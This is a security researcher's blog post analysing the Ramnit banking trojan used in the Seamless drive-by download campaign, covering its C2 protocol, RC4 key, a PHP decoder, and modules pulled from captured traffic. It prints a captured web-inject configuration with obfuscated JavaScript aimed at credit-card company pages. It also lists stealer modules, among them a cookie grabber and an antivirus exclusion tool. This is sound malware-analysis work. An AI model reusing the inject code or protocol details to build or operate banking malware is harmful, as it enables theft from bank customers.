2018年1月2日火曜日

Analyzing Ramnit used in Seamless campaign

First

Seamless campaign which is a Drive-by Download attack campaign uses Ramnit banking trojan. Many articles about Seamless campaign are published. For example, Cisco Umbrella, Malware-Traffic-Analysis and traffic.moe. Seamless has been using Ramnit since it began to be observed. Once run, Ramnit injects code into the web page to steal information such as credit cards. Ramnit is a previously reported banking trojan, but since I didn't know much about it, so I investigated about it.

Seamless Campaign Traffic

First, about Seamless campaign. Seamless campaign consists of the following traffic.


When reaching Seamless's Pre-Gate from the ad network, Pre-Gate gets the user's time zone information and sends it to the server. If the user belongs to the target time zone, Pre-Gate redirects the user to Gate via several redirectors. The user reads the landing page of the RIG Exploit Kit at Gate, which attacks and sends Ramnit.


Seamless is sensitive to the user's geolocation. Pre-Gate exists for each target country. For example, Pre-Gate for USA redirect to Gate for USA and Ramnit for USA is sent.

Ramnit Traffic

Ramnit uses the original protocol when communicating with C2. Following this protocol, I try to extract the configs and modules from the traffic of Ramnit and C2.

This protocol uses port 443. But, not https. A simple mechanism is on tcp. Packet consists of multiple commands and data. The structure is as follows.

00 ff magic number byte[2]
06 00 00 00 length dword
e2 command byte
01 00 00 00 00 data byte[length-1]
view raw 0.txt hosted with ❤ by GitHub


magic number is a fixed value. Packets start with this bytes. length is the length of command and data. In other words, strlen(command + data). command is 1 byte. There are various kinds of this.

0x01 COMMAND_OK
0x11 GET_DNSCHANGER
0x13 GET_INJECTS
0x15 UPLOAD_COOKIES
0x21 GET_MODULE
0x23 GET_MODULE_LIST
0x51 VERIGY_HOST
0xe2 REGISTER_BOT
0xe8 UPLOAD_INFO_GET_COMMANDS
view raw 1.txt hosted with ❤ by GitHub


Data has three structures.

chunk_0:
00 magic number byte
06 00 00 00 length dword
01 23 45 67 89 01 RC4 encrypted data byte[length]
---
chunk_1:
01 magic number byte
00 01 00 00 data dword
---
chunk_2:
02 magic number byte
00 01 00 00 data dword
00 02 00 00 data dword
view raw 2.txt hosted with ❤ by GitHub


The encryption key of RC4 seems to be stable. In my environment `fenquyidh` is the key.

Let's look at the data using actual traffic. If you have Ramnit traffic, use it. If you do not have it, look for Ramnit and move it, or look for pcap etc. For example, if you look at the #Ramnit tag on Twitter, you will find many Tweets. You will surely get Ramnit or its traffic.

Ramnit is banking trojan. It depends on the target country/region. For example, Ramnit used in attack campaign targeting Japan doesn't work with IP addresses of countries other than Japan. The configs and modules that Ramnit acquires from C2 also change. This time, let's see the traffic of Ramnit for Japan. If you are not able to get the traffic of Ramnit for Japan, please refer to this link. It seems that someone kindly released pcap ;)

https://gist.github.com/anonymous/2d7eef0c0ffba19338afd74823d7a8c9

Let's open pcap and look at the first packet.

00ff4b000000e200200000000c361ffe44bc3561c50723482c1e8ccca72b6a4c
161459f31cc70559b27aed4d00200000000d371cad11b93131c652704c7d1589
c5a22c6f4b104758f614c2500de67cbf16
view raw 3.txt hosted with ❤ by GitHub


When parsing this according to the protocol, it becomes as follows.

// magic number
00 ff
// length
4b 00 00 00
// command => Register bot (send two MD5s)
e2
// data chunk magic
00
// data length
20 00 00 00
// data
0c 36 1f fe 44 bc 35 61 c5 07 23 48 2c 1e 8c cc
a7 2b 6a 4c 16 14 59 f3 1c c7 05 59 b2 7a ed 4d
// data chunk magic
00
// length
20 00 00 00
// data
0d 37 1c ad 11 b9 31 31 c6 52 70 4c 7d 15 89 c5
a2 2c 6f 4b 10 47 58 f6 14 c2 50 0d e6 7c bf 16
view raw 4.txt hosted with ❤ by GitHub


This data is encoded with RC4. So I decode it. RC 4 is a simple algorithm, write the code.

<?php
class RC4
{
public static function calc(string $data, string $key) : string
{
$s = [];
for($i = 0; $i < 256; $i++)
{
$s[$i] = $i;
}
$j = 0;
for($i = 0; $i < 256; $i++)
{
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
list($s[$i], $s[$j]) = [$s[$j], $s[$i]];
}
$i = $j = 0;
$ret = '';
for($k = 0; $k < strlen($data); $k++)
{
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
list($s[$i], $s[$j]) = [$s[$j], $s[$i]];
$ret .= $data[$k] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $ret;
}
}
$key = 'fenquyidh';
$binary1 = [
'0c', '36', '1f', 'fe', '44', 'bc', '35', '61',
'c5', '07', '23', '48', '2c', '1e', '8c', 'cc',
'a7', '2b', '6a', '4c', '16', '14', '59', 'f3',
'1c', 'c7', '05', '59', 'b2', '7a', 'ed', '4d'
];
$binary2 = [
'0d', '37', '1c', 'ad', '11', 'b9', '31', '31',
'c6', '52', '70', '4c', '7d', '15', '89', 'c5',
'a2', '2c', '6f', '4b', '10', '47', '58', 'f6',
'14', 'c2', '50', '0d', 'e6', '7c', 'bf', '16'
];
$data1 = [];
for($i=0; $i<count($binary1); $i++)
{
$data1[] = chr(hexdec($binary1[$i]));
}
$data1 = implode('', $data1);
$data1 = RC4::calc($data1, $key);
var_dump($data1);
$data2 = [];
for($i=0; $i<count($binary2); $i++)
{
$data2[] = chr(hexdec($binary2[$i]));
}
$data2 = implode('', $data2);
$data2 = RC4::calc($data2, $key);
var_dump($data2);
view raw 5.php hosted with ❤ by GitHub


The results are as follows. Ramnit is sending two MD5 values to C2. Registration is done to bot by this.

string(32) "d5ad437b032fd239616c1d0d97a6b6eb"
string(32) "e4b7a6323fab5960363d771a124b6079"

This is what automates these processes.

https://github.com/nao-sec/ramnit_traffic_parser

This script uses tshark. If not installed, please install and set environment variables. Now, let's run the script.

$ php main.php ramnit_traffic.pcap
[+] REGISTER_BOT(0xe2) : output/000_e2.bin
[+] REGISTER_BOT(0xe2) : output/001_e2.bin
[+] REGISTER_BOT(0xe2) : output/002_e2.bin
-- snip --
[+] GET_INJECTS(0x13) : output/139_13.bin
[+] REGISTER_BOT(0xe2) : output/140_e2.bin
[+] REGISTER_BOT(0xe2) : output/141_e2.bin
view raw 6.txt hosted with ❤ by GitHub


Files are created in the output directory. Let's look at `064_21.bin`.

This file says "Antivirus Trusted Module v2.0 (AVG, Avast, Nod32, Norton, Bitdefender)". You can see that there is MZ header below 0x120 and it is a PE file. Cutting out 0x120 or later result in the following.

$ file 064_21.bin
064_21.bin: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
view raw 7.txt hosted with ❤ by GitHub


It is unpacked because packed by UPX.

$ upx -d 064_21.bin
$ file 064_21.bin
064_21.bin: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
view raw 8.txt hosted with ❤ by GitHub


Looking at this DLL with IDA, you can see that it is a program that interferes with Anti-Virus software.

Several DLL modules (067_21.bin, 070_21.bin, 073_21.bin) are downloaded like this.

Next, let's see 106_15.bin. This file seems to be zip. Looking inside it was IE's cookies. There was a DLL module that zipped the cookie, so it might be related.

$ file 106_15.bin
106_15.bin: Zip archive data, at least v2.0 to extract
$ unzip -l 106_15.zip
Archive: 106_15.bin
Length Date Time Name
--------- ---------- ----- ----
94 2017-02-25 00:24 IE Cookies/383ZENWY.cookie
0 2017-02-25 00:23 IE Cookies/container.dat
114 2017-12-01 01:09 IE Cookies/DVJZAF70.cookie
63 2017-02-25 00:24 IE Cookies/EB3FDKZ8.cookie
101 2017-11-19 17:25 IE Cookies/EWCKIMK2.cookie
114 2017-02-25 00:30 IE Cookies/Q35837OZ.cookie
156 2017-05-02 20:06 IE Cookies/RTHFNUYR.cookie
--------- -------
642 7 files
view raw 9.txt hosted with ❤ by GitHub


Finally, look at 139_13.bin. This is the config of the injecting code for the web page.

set_url [["Credit card company URL"]] GP
data_before
PC_fishing*</ul>
data_end
data_inject
<script>eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt
(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if
(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e)
{return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])
p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1 4={7:q(a,
b){r s a=="E"?a.3(b):/^(F|G|H)$/i.3((s a).t())?a==b:6},u:q(a){r a.I||a.J||
a.8||""},x:q(b){1 c=b.y||K;1 d=b.z||"A";1 e=6;1 f=6;1 g=[];1 h=c.L(b.v.B()
);w(1 k=0;k<h.9;k++){1 i=0;1 j=0;w(1 l M b){2(!/^(v|z|y|N)$/i.3(l)){j++;2
(/^(8)$/i.3(l)){2(4.7(b[l],h[k].8)){i++}}p 2(/^(u)$/i.3(l)){2(4.7(b[l],4.u
(h[k]))){i++}}p{w(1 a=0;a<h[k].5.9;a++){2(s h[k].5[a].C!="O"){1 m=h[k].5
[a].C.t().B();1 n=h[k].5[a].D?h[k].5[a].D.t():h[k].5[a];2(m==l&&4.7(b[l],
n)){i++}}}}}}2(i==j){2(/^(A)$/i.3(d)){e=h[k];P}p 2(/^(Q)$/i.3(d)){f=h[k]}
p 2(/^(R)$/i.3(d)){1 o=g.9;g[o]=h[k]}}}r e||f||(g.9>0?g:6)||6}};1 c=4.x(
{"v":"S","8":/T/U});2(c){c.V.W="X"}',60,60,'|var|if|test|getElement|
attributes|false|equals|innerHTML|length||||||||||||||||else|function|
return|typeof|toString|innerContent|tagName|for|byAttrs|parentElement|
searchType|first|toLowerCase|nodeName|nodeValue|object|string|number|
boolean|textContent|innerText|document|getElementsByTagName|in|
toJSONString|undefined|break|last|all|li|fishing|im|style|display|
none'.split('|'),0,{}));</script>
data_end
data_after
data_end
view raw 10.txt hosted with ❤ by GitHub


Looking at this configuration, URLs of many credit card companies and related companies exist. It was localized for Japan.

Ramnit Modules

I analyzed the modules that Ramnit downloads. All modules had data added at the beginning of the PE format.


Also, its PE file is a DLL, packed with UPX.


At the beginning of the module there is a comment like a description of the role. Most of them are similar to the information already analyzed by analysts.




For Japan

[module 1]

  • AvTrust
  • Antivirus Trusted Module v2.0 (AVG, Avast, Nod32, Norton, Bitdefender)


Add to antivirus software exception list

[module 2]

  • CookieGrabber
  • Cookie Grabber v0.2 (no mask)


Compress and send cookies of browsers (firefox, chorome, opera, IE) to zip.

[module 3]

  • Hooker
  • IE & Chrome & FF injector


[module 4]
Browser communication hook


  • VNC IFSB
  • VNC IFSB x64-x86


I think it is similar to this code.
https://github.com/gbrindisi/malware/blob/master/windows/gozi-isfb/AcDll/activdll.c

[module 5]

  • FFCH
  • FF&Chrome reinstall x64-x86 [silent]


For USA

module 1~4 is the same. module5 had the following functions instead.


  • FtpGrabber2
  • Ftp Grabber v2.0


And In US IP, AZORult has been downloaded.

https://www.hybrid-analysis.com/sample/37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270

IOCs

https://github.com/nao-sec/ioc/blob/master/nao_sec/5a34bc94-1eb8-4213-9ab8-34dbc0a8010a.json

Finally

The Ramnit has not changed very much for a long time. It was consistent with Symantec's contents published in 2014.

https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf

The configuration changes depending on the IP address, but the same module was downloaded.

Ramnit traffic is interesting ;)

0 件のコメント:

コメントを投稿